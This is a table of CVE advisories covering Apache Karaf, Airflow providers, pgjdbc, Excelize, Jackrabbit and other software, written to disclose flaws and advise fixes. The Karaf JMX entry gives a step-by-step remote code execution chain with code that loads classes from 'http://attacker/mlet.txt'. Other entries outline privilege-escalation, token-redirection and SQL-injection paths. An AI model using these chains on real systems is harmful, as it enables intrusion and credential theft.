| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| pgjdbc, the PostgreSQL JDBC Driver, versions 42.7.4 and 42.7.5 can send the previous contents of the GSS send buffer in place of the first part of a value on a connection with GSS encryption (gssEncMode=prefer or require), and the server stores the value without an error. The buffer is 16320 bytes with MIT Kerberos. The stored value then holds bytes of the messages the driver sent just before it on the same connection, such as the statement's SQL text, its other parameters, and earlier rows of the same batch, instead of the bytes the application supplied. Values at least as long as the buffer are affected when the driver writes them from a byte array: bind parameters set with setString, setBytes, or a ByteStreamWriter, CopyIn.writeToCopy, and LargeObject.write. Most such writes fail with an ArrayIndexOutOfBoundsException instead. The default, gssEncMode=allow, does not start GSS encryption, and connections without GSS encryption are not affected. Versions 42.7.3 and earlier are not affected, and 42.7.6 fixes the problem. |
| The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration".
The same applies to jms:* shell commands. |
| Missing authorization checks in Amazon Athena engine version 3 request handling could have allowed an authenticated user to read limited query metadata (AWS account identifiers and SQL statement text) from other AWS accounts. Query results, credentials, and Amazon S3 data were not affected. AWS remediated the issue on September 1, 2026, and has confirmed no customer metadata was accessed. No customer action is required. |
| Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user.
The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role.
config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL.
Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart.
By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier.
MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default. |
| In OpenStack Zaqar before 23.0.1, the WebSocket transport fails to bind the project identifier in subsequent requests to the project authenticated by the Keystone token. An authenticated user with a valid token for one project may substitute another project's UUID to enumerate, inspect, create, or delete queues belonging to that project, resulting in unauthorized disclosure, modification, or loss of queue data. Only deployments using the WebSocket transport with Keystone authentication are affected. |
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).
This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. |
| Apache Airflow's Teradata provider embedded cloud storage credentials directly into SQL statements. `S3ToTeradataOperator` and `AzureBlobStorageToTeradataOperator` interpolate the source bucket's credentials as plain string literals into the `CREATE MULTISET TABLE ... LOCATION` statement whenever the bucket is private and no `teradata_authorization_name` is configured — which is the default credential path for both operators. The statement is then logged and executed, so the credentials reach two places outside the operator's control.
The two operators expose different credentials through different channels, and deployments should check both. `S3ToTeradataOperator` takes its values from `s3_hook.get_credentials()`, which under an instance profile or IRSA returns runtime AWS credentials that were never registered with Airflow's secrets masker — and the STS session token is runtime-generated and therefore unmasked even when an AWS connection is configured. Those credentials appear **in the Airflow task log**, readable by any user with log-view permission on the Dag. `AzureBlobStorageToTeradataOperator` takes its storage account key from the connection, so the masker usually redacts the task-log copy; its exposure is the Teradata side. **Both** operators write the credentials into Teradata's DBQL query logs and live monitoring views, where Airflow's masking never applies and the values persist for that system's log retention period.
Affects deployments using either operator against a private bucket or container without a Teradata `AUTHORIZATION` object. Users are advised to upgrade to `apache-airflow-providers-teradata` `3.7.0` or later, which keeps the credential-bearing statement out of the Airflow task log. Upgrading does not remove the credentials from Teradata's query logs and monitoring views, which Airflow cannot redact: users should configure `teradata_authorization_name` with a Teradata `AUTHORIZATION` object so that credentials are never inlined, and should rotate any credentials previously used through the inline path. |
| GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.7 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that when importing CSV files could have allowed an authenticated user to cause denial of service to Sidekiq workers due to improper validation of CSV file structure. |
| MultiversX's multisig-improved (repository: mx-multisig-and-modules) reference implementation of their on-chain multisig smart contract system contains a vulnerability where a missing independent authorization check allows any account with the Proposer role to perform explicitly barred actions. This vulnerability allows the Proposer role to move funds alone, draining 100% of a contract's EGLD/ESDT balance in two transactions with zero signatures. |
| Buffer overflow vulnerabilities exist in the affected interface of AOS-S. Successful exploitation could allow an authenticated remote attacker to cause a denial-of-service condition on the affected system. |
| A vulnerability in an API interface of ClearPass Policy Manager could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to obtain sensitive information from the affected system. |
| The Nickname profile can panic with an out-of-bounds slice error when transforming crafted input into a short destination buffer. |
| Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.10.1 to 2.11.0, RIGHT validates the requested length with UTF-16 code-unit counts but slices a rune array using Unicode code-point counts. RIGHT reaches leftRight through CalcCellValue, where countUTF16String validates one unit but utf8.RuneCountInString supplies the slice index in another. When RIGHT evaluates supplementary-plane text with a requested character count between the rune count and UTF-16 code-unit count, the inconsistent units produce a negative rune-slice index, allowing an attacker to panic during formula evaluation. No fixed version is available as of this review. |
| : Session Fixation / Session Reuse across Users vulnerability in Apache Jackrabbit.
Jackrabbit WebDAV server attaches a cached authenticated session on any Lock-Token/TransactionId/SubscriptionId/If-header field token match with
no credential check.
This issue affects Apache Jackrabbit: from 2.23.0 through 2.23.5, from 2.22.0 through 2.22.4, from 2.20.0 through 2.20.17.
Users are recommended to upgrade to versions 2.23.6, 2.22.5, or 2.20.18 which fix the issue. |
| Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review. |
| Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.0.0 to 2.11.0 in github.com/xuri/excelize/v2 and from 1.1.0 to 1.4.1 in github.com/xuri/excelize, ColumnNameToNumber accumulates a bijective base-26 value in int64 without detecting overflow, allowing an invalid long column name to wrap to zero with no error. ColumnNameToNumber accepts the overflowing name VGWQHXLSDVIKWV, after which checkSheetR0 and xlsxWorksheet.checkRow use the wrapped column value as an index. When a crafted worksheet uses an overflowing column name in a row normalized by checkSheetR0 or checkRow, the wrapped zero column becomes a negative slice index during worksheet normalization, allowing an attacker to panic and terminate the calling process. No fixed version is available as of this review. |
| Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.7.1 to 2.11.0, mergeCellsParser leaves the cached rectangle empty for an empty mergeCell ref and then passes that empty slice to cellInRange without a length check. GetCellValue reaches mergeCellsParser, which passes an empty rectangle derived from the mergeCell ref attribute into cellInRange. When a crafted worksheet contains an empty mergeCell ref and a non-streaming cell API reads the worksheet, cellInRange indexes four positions in an empty slice, allowing an attacker to panic on the first affected cell operation. No fixed version is available as of this review. |
| Apache Airflow's Google provider built Google Drive search expressions by interpolating file and folder names directly into single-quoted string literals, without escaping the quote character that delimits them. A name containing an apostrophe therefore terminated the literal early and appended clauses of the attacker's choosing to the query.
The names are frequently not written by the Dag author. In a wildcard `gcs_to_gdrive` transfer they come from the source bucket listing, so anyone able to create objects in that bucket controls them — typically an external data producer or an ingest-only service account, a different trust principal from the Dag author. An injected clause can broaden the match and so steer which file or folder the hook resolves: an upload can be directed into a folder the attacker named, and, because downloads select the most recently modified match, a download can return a file they placed rather than the one the Dag asked for.
Affects deployments passing externally-sourced names to the Google Drive hook, including wildcard `gcs_to_gdrive` transfers from buckets writable by less-trusted principals. Users are advised to upgrade to `apache-airflow-providers-google` `22.6.0` or later, which escapes quote and backslash characters in every value interpolated into a Drive query. |
| Apache Airflow's Snowflake provider did not validate the connection's `account` and `region` fields before interpolating them into request URLs. The SQL API endpoint is built as `https://{account}.snowflakecomputing.com/api/v2/statements`, so an `account` value containing `/`, `?` or `#` demotes the intended domain to a path, query or fragment and leaves the attacker in control of the request host.
The provider sends that request with an `Authorization: Bearer` header carrying a JWT minted from the connection's private key, or the configured OAuth or programmatic access token. A user who can edit the Snowflake connection but cannot read its secrets — Airflow gives connection-configuration users write-only access to stored credentials, and a `private_key_file` lives on the worker rather than in the connection — can therefore cause a valid token for the account to be delivered to a host of their choosing and replay it against the genuine Snowflake endpoint. No Dag-authoring ability is required: the attacker edits the connection and waits for an existing Dag to use it. The same unvalidated value was also used to build the OAuth token-request URL and the Cortex Agent base URL.
Affects deployments where Snowflake connections are editable by users who are not trusted with the connection's credentials. Users are advised to upgrade to `apache-airflow-providers-snowflake` `6.18.0` or later, which rejects `account` and `region` values containing anything other than letters, digits, `.`, `_` and `-` in every URL the provider builds from them. |
| The Apache Airflow Teradata provider's compute-cluster example Dag declared every one of its Dag Params as unconstrained free text and templated them straight into the compute-cluster operators, which interpolate those values into Teradata DDL. A user who is permitted to trigger that Dag - a lower-trust role than the Dag author, and one that needs no Teradata credentials of its own - could therefore supply SQL fragments that execute under the connection the task runs as, and could additionally redirect the task at any other connection defined in the deployment, because the connection id was itself a free-text Param. Only deployments that run this example Dag, or a Dag copied from it, are affected; the provider's operator code is unchanged. Users of apache-airflow-providers-teradata are recommended to upgrade to version 3.7.0 or later, whose example constrains the Params to validated identifiers and a closed value set and removes connection selection and free-form option strings from trigger-time input. Upgrading does not change a Dag already copied from the example; users who copied it should apply the same constraints to their copy. |
